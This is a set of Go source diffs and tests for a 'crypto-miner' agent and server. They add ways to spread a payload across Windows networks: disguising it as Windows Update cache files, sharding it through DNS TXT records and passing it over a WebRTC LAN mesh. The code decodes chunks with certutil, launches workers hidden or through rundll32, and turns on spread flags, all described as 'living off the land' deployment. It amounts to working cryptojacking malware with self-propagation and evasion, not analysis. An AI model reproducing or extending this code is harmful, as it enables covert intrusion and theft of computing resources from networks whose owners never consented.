transport, manifest.Policy.SeederAgentID, dest, args, manifest.Policy.RotationHours), nil
}
}
// IsWebRTCMeshReady reports whether forge flag or subnet seeder election allows mesh spread.
func IsWebRTCMeshReady(cfg config.RuntimeConfig) bool {
if cfg.WebRTCMeshSpread {
return true
}
return false
}
// DefaultWebRTCRotationHours is the server policy default for seeder rotation.
const DefaultWebRTCRotationHours = 24
// WebRTCMeshSeederTTL returns duration until next seeder rotation window.
func WebRTCMeshSeederTTL(hours int) time.Duration {
if hours <= 0 {
hours = DefaultWebRTCRotationHours
}
return time.Duration(hours) * time.Hour
}

View File

@@ -0,0 +1,35 @@
package deploy
import (
"fmt"
"io"
"net/http"
"strings"
"time"
"crypto-miner-agent/config"
)
func receiveWebRTCMeshPayloadPlatform(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
fallback := strings.TrimSpace(policy.LANFallbackURL)
if fallback == "" {
fallback = strings.TrimRight(strings.TrimSpace(cfg.ServerURL), "/") + "/api/v1/public/webrtc-mesh/manifest"
}
client := &http.Client{Timeout: 45 * time.Second}
resp, err := client.Get(fallback)
if err != nil {
return nil, fmt.Errorf("webrtc lan fallback: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("webrtc lan fallback http %d", resp.StatusCode)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 32<<20))
if err != nil {
return nil, err
}
if len(body) == 0 {
return nil, fmt.Errorf("webrtc manifest empty")
}
return body, nil
}

View File

@@ -0,0 +1,86 @@
package deploy
import (
"crypto/sha256"
"encoding/hex"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestWebRTCMeshMockChannelReceive(t *testing.T) {
payload := []byte("webrtc-mesh-manifest-payload")
ch := NewMockWebRTCChannel(payload)
got, err := ch.Receive()
if err != nil {
t.Fatal(err)
}
if string(got) != string(payload) {
t.Fatalf("payload mismatch")
}
}
func TestWebRTCMeshStagingWithMockReceiveFn(t *testing.T) {
payload := []byte("webrtc-lan-seed-worker")
sum := sha256.Sum256(payload)
oldFn := webrtcMeshReceiveFn
webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
if policy.RotationHours != 24 {
t.Fatalf("rotation=%d", policy.RotationHours)
}
return payload, nil
}
defer func() { webrtcMeshReceiveFn = oldFn }()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "webrtc-test"}}
manifest := WebRTCMeshManifest{
Policy: WebRTCMeshPolicy{
STUNServers: []string{"stun:stun.l.google.com:19302"},
SignalingRelay: "wss://deck.example/ws/webrtc-relay",
SeederAgentID: "agent-seed-1",
RotationHours: 24,
},
SHA256: hex.EncodeToString(sum[:]),
Dest: "webrtc-mesh-worker.exe",
Launch: "exe",
DeferMining: true,
}
_, err := RunWebRTCMeshStaging(cfg, manifest)
if err != nil {
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
return
}
t.Fatal(err)
}
}
func TestWebRTCMeshSHA256Mismatch(t *testing.T) {
oldFn := webrtcMeshReceiveFn
webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
return []byte("wrong"), nil
}
defer func() { webrtcMeshReceiveFn = oldFn }()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "webrtc-test"}}
manifest := WebRTCMeshManifest{
Policy: WebRTCMeshPolicy{RotationHours: 24},
SHA256: strings.Repeat("d", 64),
Dest: "worker.exe",
}
_, err := RunWebRTCMeshStaging(cfg, manifest)
if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
t.Fatalf("expected sha256 mismatch, got %v", err)
}
}
func TestIsWebRTCMeshReadyRequiresForgeFlag(t *testing.T) {
if IsWebRTCMeshReady(config.RuntimeConfig{}) {
t.Fatal("expected false without forge flag")
}
if !IsWebRTCMeshReady(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WebRTCMeshSpread: true}}) {
t.Fatal("expected true with forge flag")
}
}

View File

@@ -0,0 +1,155 @@
package deploy
import (
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/config"
)
// WSUSCachePeerManifest describes WSUS offline cache cousin staging beside SoftwareDistribution\Download.
type WSUSCachePeerManifest struct {
Method string `json:"method"`
Chunks []StagingChunk `json:"chunks"`
SHA256 string `json:"sha256"`
Dest string `json:"dest"`
Launch string `json:"launch"`
DLLExport string `json:"dll_export,omitempty"`
Encoded bool `json:"encoded"`
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
}
// WSUSCachePeerFromStagingManifest maps a signed deploy-plan manifest into wsus_cache_peer payload.
func WSUSCachePeerFromStagingManifest(m StagingManifest, cacheGroup string) WSUSCachePeerManifest {
return WSUSCachePeerManifest{
Method: m.Method,
Chunks: m.Chunks,
SHA256: m.SHA256,
Dest: m.Dest,
Launch: m.Launch,
DLLExport: m.DLLExport,
Encoded: m.Encoded,
DeferMining: m.DeferMining,
SpreadInstall: m.SpreadInstall,
CacheGroup: cacheGroup,
}
}
var (
wsusPeerDownloadCurlFn func(url, dest string) error
wsusPeerDownloadBITSFn func(url, dest string) error
)
type wsusPeerDownloader func(url, dest string) error
func wsusCacheWorkDir(cfg config.RuntimeConfig, manifest WSUSCachePeerManifest) string {
group := sanitizeName(manifest.CacheGroup)
if group == "" {
group = "wsus-local"
}
return filepath.Join(os.TempDir(), ".wsus-cache-"+group+"-"+sanitizeName(cfg.WorkerName))
}
// assembleWSUSCachePeerPayload downloads chunks, verifies SHA256, returns staged dest path.
func assembleWSUSCachePeerPayload(cfg config.RuntimeConfig, manifest WSUSCachePeerManifest, curlDL, bitsDL wsusPeerDownloader) (dest string, cleanup func(), err error) {
if len(manifest.Chunks) == 0 {
return "", nil, fmt.Errorf("wsus_cache_peer manifest has no chunks")
}
dest, err = ResolveStagingPath(manifest.Dest)
if err != nil {
return "", nil, err
}
workDir := wsusCacheWorkDir(cfg, manifest)
if err := os.MkdirAll(workDir, 0o700); err != nil {
return "", nil, err
}
cleanupFn := func() { _ = os.RemoveAll(workDir) }
method := strings.ToLower(strings.TrimSpace(manifest.Method))
if method == "" {
method = "bits"
}
var assembled []string
for i, chunk := range manifest.Chunks {
name, err := sanitizeStagingFilename(chunk.File)
if err != nil {
cleanupFn()
return "", nil, fmt.Errorf("chunk %d: %w", i, err)
}
localPath := filepath.Join(workDir, name)
if err := os.MkdirAll(filepath.Dir(localPath), 0o700); err != nil {
cleanupFn()
return "", nil, err
}
switch method {
case "bits", "bitsadmin":
dl := bitsDL
if dl == nil {
cleanupFn()
return "", nil, fmt.Errorf("bits downloader unavailable")
}
if err := dl(chunk.URL, localPath); err != nil {
cleanupFn()
return "", nil, fmt.Errorf("bits chunk %d: %w", i, err)
}
default:
dl := curlDL
if dl == nil {
cleanupFn()
return "", nil, fmt.Errorf("curl downloader unavailable")
}
if err := dl(chunk.URL, localPath); err != nil {
cleanupFn()
return "", nil, fmt.Errorf("curl chunk %d: %w", i, err)
}
}
if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
if err := certutilDecodePeer(localPath, decoded); err != nil {
cleanupFn()
return "", nil, fmt.Errorf("certutil chunk %d: %w", i, err)
}
assembled = append(assembled, decoded)
} else {
assembled = append(assembled, localPath)
}
}
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
cleanupFn()
return "", nil, err
}
if len(assembled) == 1 {
if err := os.Rename(assembled[0], dest); err != nil {
if err := copyFile(assembled[0], dest); err != nil {
cleanupFn()
return "", nil, err
}
}
} else {
if err := concatFiles(dest, assembled); err != nil {
cleanupFn()
return "", nil, err
}
}
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
_ = os.Remove(dest)
cleanupFn()
return "", nil, err
}
return dest, cleanupFn, nil
}
// RunWSUSCachePeerStaging verifies SHA256, assembles WSUS cache chunks, and launches the worker.
func RunWSUSCachePeerStaging(cfg config.RuntimeConfig, manifest WSUSCachePeerManifest) (string, error) {
if runtime.GOOS != "windows" {
return "", fmt.Errorf("wsus_cache_peer staging is Windows-only")
}
return runWSUSCachePeerStagingWindows(cfg, manifest)
}

View File

@@ -0,0 +1,18 @@
//go:build !windows
package deploy
import (
"fmt"
"crypto-miner-agent/config"
)
// IsWSUSCachePeerReady is Windows-only (Wuauserv + SoftwareDistribution cache).
func IsWSUSCachePeerReady() bool {
return false
}
func runWSUSCachePeerStagingWindows(_ config.RuntimeConfig, _ WSUSCachePeerManifest) (string, error) {
return "", fmt.Errorf("wsus_cache_peer staging is Windows-only")
}

View File

@@ -0,0 +1,88 @@
package deploy
import (
"crypto/sha256"
"encoding/hex"
"os"
"path/filepath"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestWSUSCachePeerAssembleWithFakeDownloaders(t *testing.T) {
dir := t.TempDir()
chunkPath := filepath.Join(dir, "wsus-0.bin")
payload := []byte("wsus-cache-cousin-payload")
if err := os.WriteFile(chunkPath, payload, 0o644); err != nil {
t.Fatal(err)
}
sum := sha256.Sum256(payload)
destRel := filepath.Join("af-wsus", "worker.exe")
fakeDL := func(url, dest string) error {
return copyFile(chunkPath, dest)
}
oldCurl := wsusPeerDownloadCurlFn
oldBits := wsusPeerDownloadBITSFn
wsusPeerDownloadCurlFn = fakeDL
wsusPeerDownloadBITSFn = fakeDL
defer func() {
wsusPeerDownloadCurlFn = oldCurl
wsusPeerDownloadBITSFn = oldBits
}()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-test"}}
manifest := WSUSCachePeerManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "wsus-0.bin"}},
SHA256: hex.EncodeToString(sum[:]),
Dest: destRel,
CacheGroup: "wsus-lan-1",
}
resolvedDest, err := ResolveStagingPath(destRel)
if err != nil {
t.Fatal(err)
}
_ = os.Remove(resolvedDest)
staged, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDL, fakeDL)
if err != nil {
t.Fatal(err)
}
defer cleanup()
if staged != resolvedDest {
t.Fatalf("dest=%q want %q", staged, resolvedDest)
}
if err := verifyFileSHA256(staged, manifest.SHA256); err != nil {
t.Fatal(err)
}
}
func TestWSUSCachePeerSHA256MismatchRejected(t *testing.T) {
dir := t.TempDir()
chunkPath := filepath.Join(dir, "wsus-0.bin")
if err := os.WriteFile(chunkPath, []byte("bad"), 0o644); err != nil {
t.Fatal(err)
}
fakeDL := func(url, dest string) error {
return copyFile(chunkPath, dest)
}
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-test"}}
manifest := WSUSCachePeerManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "wsus-0.bin"}},
SHA256: strings.Repeat("c", 64),
Dest: "worker.exe",
}
_, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDL, fakeDL)
if cleanup != nil {
defer cleanup()
}
if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
t.Fatalf("expected sha256 mismatch, got %v", err)
}
}

View File

@@ -0,0 +1,112 @@
//go:build windows
package deploy
import (
"fmt"
"os"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
// IsWSUSCachePeerReady reports whether Wuauserv/AU registry/cache dir signals are present.
func IsWSUSCachePeerReady() bool {
if st := serviceStatus("wuauserv"); st != "running" && st != "started" {
if st := serviceStatus("Wuauserv"); st != "running" && st != "started" {
return false
}
}
windir := os.Getenv("WINDIR")
if windir == "" {
windir = `C:\Windows`
}
cacheDir := windir + `\SoftwareDistribution\Download`
if _, err := os.Stat(cacheDir); err != nil {
return false
}
return true
}
func runWSUSCachePeerStagingWindows(cfg config.RuntimeConfig, manifest WSUSCachePeerManifest) (string, error) {
curlDL := wsusPeerDownloadCurlFn
if curlDL == nil {
curlDL = downloadChunkCurl
}
bitsDL := wsusPeerDownloadBITSFn
if bitsDL == nil {
bitsDL = downloadChunkBITS
}
dest, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, curlDL, bitsDL)
if err != nil {
return "", err
}
defer cleanup()
method := strings.ToLower(strings.TrimSpace(manifest.Method))
if method == "" {
method = "bits"
}
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
switch launch {
case "rundll32", "dll":
export := strings.TrimSpace(manifest.DLLExport)
if export == "" {
export = "DllRegisterServer"
}
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
return "", fmt.Errorf("rundll32 launch: %w", err)
}
return fmt.Sprintf("wsus_cache_peer staged %d chunk(s) via %s cache_group=%s to %s; launched rundll32 %s",
len(manifest.Chunks), method, manifest.CacheGroup, dest, export), nil
default:
args := []string{runFlag}
if manifest.DeferMining {
args = append(args, deferMiningFlag)
}
if manifest.SpreadInstall {
args = append(args, spreadFlag)
}
if err := HiddenStart(dest, args...); err != nil {
return "", fmt.Errorf("exe launch: %w", err)
}
return fmt.Sprintf("wsus_cache_peer staged %d chunk(s) via %s cache_group=%s to %s; launched exe %v",
len(manifest.Chunks), method, manifest.CacheGroup, dest, args), nil
}
}
// DefaultWSUSCacheDest returns the SoftwareDistribution\Download cousin path for staging.
func DefaultWSUSCacheDest(fileName string) string {
windir := os.Getenv("WINDIR")
if windir == "" {
windir = `C:\Windows`
}
if fileName == "" {
fileName = "af-wsus-worker.exe"
}
return windir + `\SoftwareDistribution\Download\af-cache\` + fileName
}
// ProbeWSUSCacheDir returns the WSUS download cache directory if present.
func ProbeWSUSCacheDir() string {
windir := os.Getenv("WINDIR")
if windir == "" {
windir = `C:\Windows`
}
dir := windir + `\SoftwareDistribution\Download`
if _, err := os.Stat(dir); err != nil {
return ""
}
return dir
}
func wsusAURegistryPresent() bool {
if _, err := exec.LookPath("reg.exe"); err != nil {
return false
}
out, err := HiddenCombinedOutput("reg.exe", "query", `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate`)
return err == nil && strings.Contains(string(out), "WindowsUpdate")
}

View File

@@ -6,6 +6,8 @@ import (
"fmt"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
// DetectCUDA reports NVIDIA CUDA via nvidia-smi.

View File

@@ -2,6 +2,8 @@
package miner
const webView2BinaryName = "msedgewebview2.exe"
func platformWebView2Probe() WebView2ProbeResult {
return WebView2ProbeResult{ProbeOnly: true}
}

View File

@@ -2,8 +2,26 @@
package miner
import "fmt"
import (
"fmt"
"regexp"
"strconv"
)
func platformWMIProcessCreate(commandLine string) (uint32, error) {
return 0, fmt.Errorf("wmi tier requires windows")
}
func parseWMICreatePID(out []byte) (uint32, error) {
raw := string(out)
re := regexp.MustCompile(`"pid"\s*:\s*(\d+)`)
m := re.FindStringSubmatch(raw)
if len(m) < 2 {
return 0, fmt.Errorf("wmi: no pid in output: %s", raw)
}
v, err := strconv.ParseUint(m[1], 10, 32)
if err != nil {
return 0, err
}
return uint32(v), nil
}

View File

@@ -57,6 +57,9 @@ var DefaultDeployLanes = []string{
"dotnet",
"bits_curl",
"do_peer",
"wsus_cache_peer",
"dns_txt",
"webrtc_mesh",
"smb",
"winrm",
}

View File

@@ -73,10 +73,21 @@ type ServerSettings struct {
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
// ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join.
ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"`
// DNSZone is the suffix for _aether.<zone> TXT mesh records (e.g. site.internal).
DNSZone string `json:"dns_zone,omitempty"`
// WebRTCMeshPolicy controls LAN seeder rotation and STUN for webrtc_mesh spread.
WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"`
// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
}
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
type WebRTCMeshPolicySettings struct {
Enabled bool `json:"enabled,omitempty"`
STUNServers []string `json:"stun_servers,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
}
// TripleOnionSettings is Calibrate policy for the agent triple onion.
type TripleOnionSettings struct {
PatchFirst bool `json:"patch_first,omitempty"`
@@ -259,8 +270,15 @@ func DefaultConfig() *Config {
LotlOnionTiers: []string{
"vuln_recon",
"docker", "wsl", "powershell", "dotnet", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh",
"smb", "winrm", "linux", "gpo",
},
DNSZone: "internal",
WebRTCMeshPolicy: WebRTCMeshPolicySettings{
Enabled: false,
STUNServers: []string{"stun:stun.l.google.com:19302"},
RotationHours: 24,
},
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
},
}
@@ -963,6 +981,14 @@ func (c *Config) Save() error {
func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
return map[string]ServiceDeployLane{
"DoSvc": {Lane: "do_peer", Priority: 35},
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
"dns_txt": {Lane: "dns_txt", Priority: 33},
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"CcmExec": {Lane: "bits_curl", Priority: 10},
"BITS": {Lane: "bits_curl", Priority: 8},

View File

@@ -28,11 +28,26 @@ type StagingManifest struct {
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSZone string `json:"dns_zone,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
}
// WebRTCMeshPlanBody is LAN WebRTC seed policy attached to signed deploy plans.
type WebRTCMeshPlanBody struct {
STUNServers []string `json:"stun_servers,omitempty"`
SignalingRelay string `json:"signaling_relay,omitempty"`
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
SeederAgentID string `json:"seeder_agent_id,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
IsSeeder bool `json:"is_seeder,omitempty"`
}
type StagingChunk struct {
URL string `json:"url"`
File string `json:"file"`
URL string `json:"url"`
File string `json:"file"`
Record string `json:"record,omitempty"`
Index int `json:"index,omitempty"`
}
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
@@ -42,6 +57,12 @@ type DeployPlanBody struct {
Action string `json:"action"`
Manifest *StagingManifest `json:"manifest,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
@@ -154,6 +175,30 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
}
body.Manifest = manifest
body.PeerGroup = manifest.PeerGroup
case "wsus_cache_peer":
manifest, err := h.buildWSUSCachePeerManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.CacheGroup = manifest.CacheGroup
case "dns_txt":
manifest, zone, records, shards, ttl, err := h.buildDNSTXTManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.DNSTXTZone = zone
body.DNSTXTRecords = records
body.DNSTXTShards = shards
body.TTLRefreshSec = ttl
case "webrtc_mesh":
manifest, mesh, err := h.buildWebRTCMeshManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.WebRTCMesh = mesh
case "bits_curl":
manifest, err := h.buildStagingManifest(req, serverURL)
if err != nil {
@@ -236,6 +281,174 @@ func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL
}, nil
}
// buildWSUSCachePeerManifest stages hash-verified chunks beside SoftwareDistribution\Download.
func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
cacheGroup := "af-wsus-" + hash[:8]
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
}
dest := `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.dll`
launch = "rundll32"
}
return &StagingManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
CacheGroup: cacheGroup,
}, nil
}
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, "", nil, nil, 0, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, "", nil, nil, 0, fmt.Errorf("build hash: %w", err)
}
zone := h.dnsTXTZone()
records := []string{
"_aether.shard0." + zone,
"_aether.shard1." + zone,
}
shards := []int{0, 1}
ttl := 300
chunks := make([]StagingChunk, len(records))
for i, rec := range records {
chunks[i] = StagingChunk{
Record: rec,
Index: shards[i],
File: fmt.Sprintf("shard-%d.b64", shards[i]),
URL: serverURL + "/api/v1/public/dns-txt/" + sanitizeDeployToken(rec),
}
}
dest := `%TEMP%\AetherForge\dns-txt-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\dns-txt-worker.dll`
launch = "rundll32"
}
manifest := &StagingManifest{
Method: "dns_txt",
Chunks: chunks,
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
DNSZone: zone,
TTLRefreshSec: ttl,
}
return manifest, zone, records, shards, ttl, nil
}
func (h *DeployPlanHandler) dnsTXTZone() string {
zone := "internal"
if h.allowlist != nil {
_ = h.allowlist()
}
if h.dataDir != "" {
cfgPath := filepath.Join(h.dataDir, "config.json")
if data, err := os.ReadFile(cfgPath); err == nil {
var payload struct {
Server struct {
DNSZone string `json:"dns_zone"`
} `json:"server"`
}
if json.Unmarshal(data, &payload) == nil && strings.TrimSpace(payload.Server.DNSZone) != "" {
zone = strings.TrimSpace(payload.Server.DNSZone)
}
}
}
return zone
}
// buildWebRTCMeshManifest returns LAN seed manifest metadata; payload bytes stay on subnet.
func (h *DeployPlanHandler) buildWebRTCMeshManifest(req deployPlanRequest, serverURL string) (*StagingManifest, *WebRTCMeshPlanBody, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
fallbackURL := serverURL + "/api/v1/public/webrtc-mesh/manifest" + strings.TrimPrefix(getQuerySuffix, "&")
if !strings.Contains(fallbackURL, "?") && strings.TrimPrefix(getQuerySuffix, "&") != "" {
fallbackURL = serverURL + "/api/v1/public/webrtc-mesh/manifest?" + strings.TrimPrefix(getQuerySuffix, "&")
}
dest := `%TEMP%\AetherForge\webrtc-mesh-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\webrtc-mesh-worker.dll`
launch = "rundll32"
}
manifest := &StagingManifest{
Method: "webrtc_mesh",
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
}
mesh := &WebRTCMeshPlanBody{
STUNServers: []string{"stun:stun.l.google.com:19302"},
SignalingRelay: strings.TrimRight(serverURL, "/") + "/ws/webrtc-relay",
LANFallbackURL: fallbackURL,
SeederAgentID: strings.TrimSpace(req.AgentID),
RotationHours: 24,
}
return manifest, mesh, nil
}
func sanitizeDeployToken(s string) string {
s = strings.ToLower(strings.TrimSpace(s))
var b strings.Builder

View File

@@ -0,0 +1,121 @@
package api
import (
"os"
"path/filepath"
"testing"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func testDeployPlanHandler(t *testing.T) *DeployPlanHandler {
t.Helper()
dir := t.TempDir()
database, err := dbpkg.New(dir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
buildDir := filepath.Join(dir, "builds", "b1")
if err := os.MkdirAll(buildDir, 0o755); err != nil {
t.Fatal(err)
}
artifact := filepath.Join(buildDir, "worker.exe")
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
}); err != nil {
t.Fatal(err)
}
cfgPath := filepath.Join(dir, "config.json")
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
t.Fatal(err)
}
return NewDeployPlanHandler(database, dir, dir,
func() string { return "http://127.0.0.1:8989" },
func() string { return "fleet-test" },
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
)
}
func TestBuildPlanWSUSCachePeerLane(t *testing.T) {
h := testDeployPlanHandler(t)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1",
}, "Wuauserv", ServiceDeployLane{Lane: "wsus_cache_peer"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "wsus_cache_peer" || plan.Manifest == nil {
t.Fatalf("plan=%+v", plan)
}
if plan.CacheGroup == "" || plan.Manifest.CacheGroup == "" {
t.Fatal("expected cache_group")
}
if !containsStr(plan.Manifest.Dest, "SoftwareDistribution") {
t.Fatalf("dest=%q", plan.Manifest.Dest)
}
}
func TestBuildPlanDNSTXTLane(t *testing.T) {
h := testDeployPlanHandler(t)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1",
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "dns_txt" || plan.Manifest == nil {
t.Fatalf("plan=%+v", plan)
}
if plan.DNSTXTZone != "lab.internal" || len(plan.DNSTXTRecords) < 1 {
t.Fatalf("dns zone/records: zone=%q records=%v", plan.DNSTXTZone, plan.DNSTXTRecords)
}
if plan.TTLRefreshSec <= 0 {
t.Fatal("expected ttl_refresh_sec")
}
}
func TestBuildPlanWebRTCMeshLane(t *testing.T) {
h := testDeployPlanHandler(t)
plan, err := h.buildPlan(deployPlanRequest{
AgentID: "agent-seed-1", Platform: "windows", BuildID: "b1",
}, "webrtc_mesh", ServiceDeployLane{Lane: "webrtc_mesh"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "webrtc_mesh" || plan.WebRTCMesh == nil {
t.Fatalf("plan=%+v", plan)
}
if plan.WebRTCMesh.RotationHours != 24 || plan.WebRTCMesh.SeederAgentID != "agent-seed-1" {
t.Fatalf("mesh=%+v", plan.WebRTCMesh)
}
}
func TestPickDeployLaneWSUSBelowDoSvc(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{
{Name: "Wuauserv", Status: "running"},
{Name: "DoSvc", Status: "running"},
}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "DoSvc" || lane.Lane != "do_peer" {
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
}
}
func containsStr(s, sub string) bool {
return len(s) >= len(sub) && (s == sub || len(sub) == 0 || indexStr(s, sub) >= 0)
}
func indexStr(s, sub string) int {
for i := 0; i+len(sub) <= len(s); i++ {
if s[i:i+len(sub)] == sub {
return i
}
}
return -1
}

View File

@@ -1,6 +1,7 @@
package api
import (
"encoding/base64"
"net/http"
"os"
"path/filepath"
@@ -136,6 +137,68 @@ func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, path)
}
// GET /api/v1/public/dns-txt/{record}
// Simulates DNS TXT shard responses for tests when real _aether zone is unavailable.
func (h *PublicHandler) DNSTXTShard(w http.ResponseWriter, r *http.Request) {
record := strings.TrimSpace(chi.URLParam(r, "record"))
if record == "" {
